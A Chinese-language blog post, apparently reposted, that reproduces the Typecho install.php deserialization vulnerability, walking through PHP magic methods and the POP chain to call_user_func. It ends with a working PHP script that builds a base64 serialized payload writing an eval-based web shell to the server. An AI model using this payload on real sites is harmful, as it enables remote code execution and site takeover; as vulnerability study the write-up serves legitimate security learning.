Typecho反序列化漏洞復現分析


首先還是函數介紹
https://www.php.net/manual/zh/language.oop5.magic.php
__toString() 方法用於一個類被當成字符串時應怎樣回應。例如 echo $obj; 應該顯示些什么。此方法必須返回一個字符串,否則將發出一條 E_RECOVERABLE_ERROR 級別的致命錯誤。

Warning
不能在 __toString() 方法中拋出異常。這么做會導致致命錯誤。

Example #2 簡單示例

<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo) 
    {
        $this->foo = $foo;
    }

    public function __toString() {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>
$a && $b	And(邏輯與)	TRUE,如果 $a 和 $b 都為 TRUE
_get()
這里有個php反序列化的知識點,當我們試圖去訪問一個對象的不存在或者私有屬性的時候會觸發__get魔法方法。所以這里如果我們的$item['author']是一個對象,且該對象沒有screenName屬性,那么我們就可以利用__get方法,那么思路又清晰了,全局搜索__get方法。

php switch case
https://www.w3school.com.cn/php/php_switch.asp
好的邏輯我們清晰了 
接下來call_user_function的值都能被我們控制 從而造成了rce

 首先我們來看install.php

 

 

 看到反序列化入口 這里將Typecho_cookie::get()方法的值base64解了在反序列化回來 賦值給$config

這里我們跟進get方法發現_typercho_config是可控的

$type=$config數組里面的adapter的值

兩個函數的介紹

array_pop() 函數刪除數組中的最后一個元素。
<?php
$a=array("red","green","blue");
array_pop($a);
print_r($a);
?>
Array ( [0] => red [1] => green ) 
<?php
$str = "Hello world. I love Shanghai!";
print_r (explode(" ",$str));
?>

Array ( [0] => Hello [1] => world. [2] => I [3] => love [4] => Shanghai! )

 這里我們繼續跟進看到

 

 

 $config素組的元素被當作Typecho_Db類里面的值調用了也就是

我們輸入-》反序列化后——》傳入對象

 我們進一步跟進這個類里面 這個變量我們可控

 

 

 那么在這里觸發_toString方法全局搜索看利用的_toString方法 這里有很多判斷我們主要看這個

 

 

 這里$item['author']->screenName又可以觸發_get()方法 那么我們繼續全局跟進_get()

 

 

 然后跟進get()方法

 

 

 從而打到call_user_func兩個參數都可以被我們控制

好的接下來我們構造一下pop鏈

在class Typecho_Request{里面我們要達到$filter和$value可控)
就必須讓_params[screename]的值等於我們后面的值
fieter在我們類里面調用的三個方法里面未經過處理 所以我們可以直接定義 但是這里他必須為數組
因此在此類里面 我們需要構造
private $_params[screename]='phpinfo()';
private $filter='eval';

然后再

class Typecho_Feed這個類里面我們繼續分析

 

 

 

 所以this_type=

 

 

_items['author']=class Typecho_Request這個對象才能觸發_toSring方法

 構造payload 但是無回顯

<?php
class Typecho_Request{
    private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
    private $_filter= array('assert');
}
class Typecho_Feed{
    private $_items=array();
    private $_type='ATOM 1.0';
    public function __construct()
    {
        $items['author']=new Typecho_Request();
        $this->_items[0]=$items;

    }

}
$my=array('adapter'=>new Typecho_Feed(),'prefix'=>'typecho');
$a=base64_encode(serialize($my));
echo $a;
?>

 但是命令確實執行了的

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM